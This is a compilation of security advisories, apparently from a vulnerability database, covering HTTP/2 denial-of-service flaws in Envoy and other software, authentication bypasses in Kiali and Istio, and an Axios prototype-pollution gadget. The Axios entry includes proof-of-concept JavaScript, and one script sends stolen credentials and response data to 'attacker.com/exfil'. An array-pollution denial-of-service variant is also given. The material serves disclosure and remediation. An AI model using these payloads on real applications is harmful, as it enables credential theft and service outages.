A denial-of-service vulnerability was found in Envoy's HTTP/2 implementation. The attack chains two techniques: an HPACK compression bomb that exploits header compression to amplify a single byte on the wire into a full header allocation on the server (repeated thousands of times per request), and a Slowloris-style hold using a zero-byte HTTP/2 flow-control window that prevents the server from ever freeing the allocated memory.
A remote attacker can exploit this in Envoy's default HTTP/2 configuration to consume and hold large amounts of server memory (up to 32GB in approximately 20 seconds), rendering the server inaccessible.
This vulnerability exists in each server's default HTTP/2 configuration and requires no authentication to exploit.
External Reference: https://blog.calif.io/p/codex-discovered-a-hidden-http2-bomb
Summary
Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.
Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
Impact For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.
If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.
This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.
Affected Functionality The affected functionality is Axios request config processing and response transformation.
Affected use requires all of the following: - An affected Axios version. - A polluted Object.prototype in the same process or browser context. - Pollution before Axios merges or validates the request config. - A polluted key relevant to Axios config, especially transformResponse.
This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.
Technical Details In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.
In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.
Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.
Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.
Proof of Concept of Attack js import http from 'http'; import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => { res.setHeader('Content-Type', 'application/json'); res.end(JSON.stringify({ secret: 'response-secret' })); });
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) { if (headers && typeof status === 'number') { seen.push({ url: this.url, username: this.auth && this.auth.username, password: this.auth && this.auth.password, responseData: data });
return { hijacked: true }; }
return true; };
try { const { port } = server.address();
const response = await axios.get(http://127.0.0.1:${port}/users, { auth: { username: 'svc-account', password: 'prod-secret-key-123' } });
console.log(response.data); // { hijacked: true } console.log(seen[0]); // request config plus original response body } finally { delete Object.prototype.transformResponse;
server.close(); }
Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.
Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.
<details> <summary>Original source report</summary>
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into credential theft and response hijacking across all Axios requests.
The mergeConfig() function reads config properties via standard property access (config2[prop]), which traverses the JavaScript prototype chain. When Object.prototype.transformResponse is polluted with a function, it overrides the default JSON response parser for every request. The injected function executes with this = config, exposing auth.username, auth.password, request URL, and all headers.
Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (Config Merge) + lib/core/transformData.js (Transform Execution)
CWE
- CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CVSS 3.1
Score: 9.4 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H
| Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Credential theft occurs within the same application process | | Confidentiality | High | this.auth.password, this.url, original response data all exfiltrated | | Integrity | Low | Response data is replaced with true — attacker cannot return arbitrary data due to assertOptions constraint (see below) | | Availability | High | Polluting with an array value causes TypeError: validator is not a function crash (DoS) on every request |
Relationship to GHSA-fvcv-3m26-pcqx
This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit mergeConfig's prototype chain traversal.
| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability | |---|---|---| | Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft | | Fixed by 1.15.0 header sanitization? | Yes | No — different code path | | Affects | Requests using form-data package | All requests (transformResponse is in defaults) | | Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.
The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
javascript Object.prototype.transformResponse = function(data, headers, status) { // Steal credentials via this context (this = full request config) if (this && this.url && typeof data === 'string') { fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify({ url: this.url, username: this.auth?.username, password: this.auth?.password, responseData: data, }) }); } return true; // MUST return true to pass assertOptions validator check };
Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
javascript // This looks safe to the developer const response = await axios.get('https://api.internal/users', { auth: { username: 'svc-account', password: 'prod-secret-key-123!' } });
3. The Execution
Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:
javascript utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) { // 'transformResponse' is in config1 (defaults) → included in keys const merge = mergeMap[prop]; // → defaultToConfig2 const configValue = merge(config1[prop], config2[prop], prop); // config2['transformResponse'] traverses prototype → finds polluted function! });
The polluted function then executes at transformData.js:21:
javascript data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); // fn = attacker's function, this = config (containing auth credentials)
4. The Impact
Attacker receives at https://attacker.com/exfil:
{ "url": "https://api.internal/users", "username": "svc-account", "password": "prod-secret-key-123!", "responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}" }
The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.
5. DoS Variant
javascript // Array pollution crashes every request Object.prototype.transformResponse = [function(d) { return d; }];
await axios.get('https://any-url.com'); // → TypeError: validator is not a function // Every request in the application crashes
Verified PoC Output
Step 1 - Normal behavior (before pollution): Default transformResponse function name: "transformResponse"
Step 2 - Polluting Object.prototype.transformResponse: Function replaced by attacker: true
Step 3 - Simulating dispatchRequest transformResponse: Original server response: {"secretkey":"sk-prod-a1b2c3d4","internalip":"10.0.0.5"} After malicious transform: true Response tampered: true
Step 4 - Exfiltrated data: Original response data: {"secretkey":"sk-prod-a1b2c3d4","internalip":"10.0.0.5"} Request URL: https://internal-api.corp/secrets Authentication info: {"username":"admin","password":"P@ssw0rd123!"}
Impact Analysis
- Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server. - Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced. - Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios. - Denial of Service: Polluting with a non-function value crashes every request. - Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.
Limitations (Honest Assessment)
- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree - Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions - This is in-process JavaScript function execution, not OS-level RCE
Recommended Fix
Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:
javascript // In lib/core/mergeConfig.js function defaultToConfig2(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) { return getMergedValue(undefined, b); } else if (!utils.isUndefined(a)) { return getMergedValue(undefined, a); } }
Additionally, validate that transformResponse contains only functions before execution:
javascript // In lib/core/transformData.js utils.forEach(fns, function transform(fn) { if (typeof fn !== 'function') { throw new AxiosError('Transform must be a function', AxiosError.ERRBADOPTION); } data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); });
Resources
- CWE-1321: Prototype Pollution - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) - Axios GitHub Repository - Snyk: Prototype Pollution
Timeline
| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) | | 2026-04-16 | PoC corrected (function payload returning true — works) | | 2026-04-16 | Report revised with accurate constraints | | TBD | Report submitted to vendor via GitHub Security Advisory | </details>
A flaw was found in OpenShift Service Mesh 2.6.3 and 2.5.6. Rate-limiter avoidance, access-control bypass, CPU and memory exhaustion, and replay attacks may be possible due to improper HTTP header sanitization in Envoy.
HTTP/2 Rapid reset attack The HTTP/2 protocol allows clients to indicate to the server that a previous stream should be canceled by sending a RSTSTREAM frame. The protocol does not require the client and server to coordinate the cancellation in any way, the client may do it unilaterally. The client may also assume that the cancellation will take effect immediately when the server receives the RSTSTREAM frame, before any other data from that TCP connection is processed.
Abuse of this feature is called a Rapid Reset attack because it relies on the ability for an endpoint to send a RSTSTREAM frame immediately after sending a request frame, which makes the other endpoint start working and then rapidly resets the request. The request is canceled, but leaves the HTTP/2 connection open.
The HTTP/2 Rapid Reset attack built on this capability is simple: The client opens a large number of streams at once as in the standard HTTP/2 attack, but rather than waiting for a response to each request stream from the server or proxy, the client cancels each request immediately.
The ability to reset streams immediately allows each connection to have an indefinite number of requests in flight. By explicitly canceling the requests, the attacker never exceeds the limit on the number of concurrent open streams. The number of in-flight requests is no longer dependent on the round-trip time (RTT), but only on the available network bandwidth.
In a typical HTTP/2 server implementation, the server will still have to do significant amounts of work for canceled requests, such as allocating new stream data structures, parsing the query and doing header decompression, and mapping the URL to a resource. For reverse proxy implementations, the request may be proxied to the backend server before the RSTSTREAM frame is processed. The client on the other hand paid almost no costs for sending the requests. This creates an exploitable cost asymmetry between the server and the client.
Multiple software artifacts implementing HTTP/2 are affected. This advisory was originally ingested from the swift-nio-http2 repo advisory and their original conent follows.
swift-nio-http2 specific advisory swift-nio-http2 is vulnerable to a denial-of-service vulnerability in which a malicious client can create and then reset a large number of HTTP/2 streams in a short period of time. This causes swift-nio-http2 to commit to a large amount of expensive work which it then throws away, including creating entirely new Channels to serve the traffic. This can easily overwhelm an EventLoop and prevent it from making forward progress.
swift-nio-http2 1.28 contains a remediation for this issue that applies reset counter using a sliding window. This constrains the number of stream resets that may occur in a given window of time. Clients violating this limit will have their connections torn down. This allows clients to continue to cancel streams for legitimate reasons, while constraining malicious actors.
An incorrect access control flaw was found in the kiali-operator in versions before 1.33.0 and before 1.24.7. This flaw allows an attacker with a basic level of access to the cluster (to deploy a kiali operand) to use this vulnerability and deploy a given image to anywhere in the cluster, potentially gaining access to privileged service account tokens. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
A signature verification vulnerability exists in crewjam/saml. This flaw allows an attacker to bypass SAML Authentication. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.
A hard-coded cryptographic key vulnerability in the default configuration file was found in Kiali, all versions prior to 1.15.1. A remote attacker could abuse this flaw by creating their own JWT signed tokens and bypass Kiali authentication mechanisms, possibly gaining privileges to view and alter the Istio configuration.
An insecure modification vulnerability in the /etc/passwd file was found in all versions of OpenShift ServiceMesh (maistra) before 1.0.8 in the openshift/istio-kialia-rhel7-operator-container. An attacker with access to the container could use this flaw to modify /etc/passwd and escalate their privileges.
A vulnerability was found in Envoy version 1.13.0 or earlier may consume excessive amounts of memory when responding internally to pipelined requests.
A vulnerability was found in Envoy version 1.13.0 or earlier may consume excessive amounts of memory when proxying HTTP/1.1 requests or responses with many small (i.e. 1 byte) chunks.
A flaw was found in Istio in all versions released after 1.3 (included). The flaw is in Istio's Authentication Policy exact path matching logic and can allow unauthorized access to a HTTP path, even if the path is configured to be only accessed with a valid JWT token.
A flaw was found in HTTP/2. An attacker can request a large amount of data by manipulating window size and stream priority to force the server to queue the data in 1-byte chunks. Depending on how efficiently this data is queued, this queue can consume excess CPU, memory, or both, leading to a denial of service. The highest threat from this vulnerability is to system availability.
A flaw was found in HTTP/2. An attacker, sending a stream of header with a 0-length header name and a 0-length header value, could cause some implementations to allocate memory for these headers and keep the allocations alive until the session dies. The can consume excess memory, potentially leading to a denial of service. The highest threat from this vulnerability is to system availability.
A vulnerability was found in http/2 where an attacker opens the HTTP/2 window so the peer can send without constraint; however, they leave the TCP window closed so the peer cannot actually write (many of) the bytes on the wire. The attacker then sends a stream of requests for a large response object. Depending on how the servers queue the responses, this can consume excess memory, CPU, or both, potentially leading to a denial of service.
A flaw was found in HTTP/2. Using frames with an empty payload, a flood could occur that results in excessive CPU usage and starvation of other clients. The highest threat from this vulnerability is to system availability.
A flaw was found in HTTP/2. Using SETTINGS frames and queuing of SETTINGS ACK frames, a flood could occur resulting in unbounded memory growth. The highest threat from this vulnerability is to system availability.
A flaw was found in HTTP/2. Using HEADER frames with invalid HTTP headers and queuing of response RSTSTREAM frames, an attacker could cause a flood resulting in unbounded memory growth. The highest threat from this vulnerability is to system availability.
A flaw was found in HTTP/2. An attacker, using PRIORITY frames to flood the system, could cause excessive CPU usage and starvation of other clients. The largest threat from this vulnerability is to system availability.
A flaw was found in Envoy 1.9.0 and older. When parsing HTTP/1.x header values, Envoy does not reject embedded zero characters (NUL, ASCII 0x0). This allows remote attackers crafting header values containing embedded NUL characters to potentially bypass header matching rules, gaining access to unauthorized resources.
Upstream issue:
https://github.com/envoyproxy/envoy/issues/6434
References:
https://istio.io/blog/2019/announcing-1.1.2/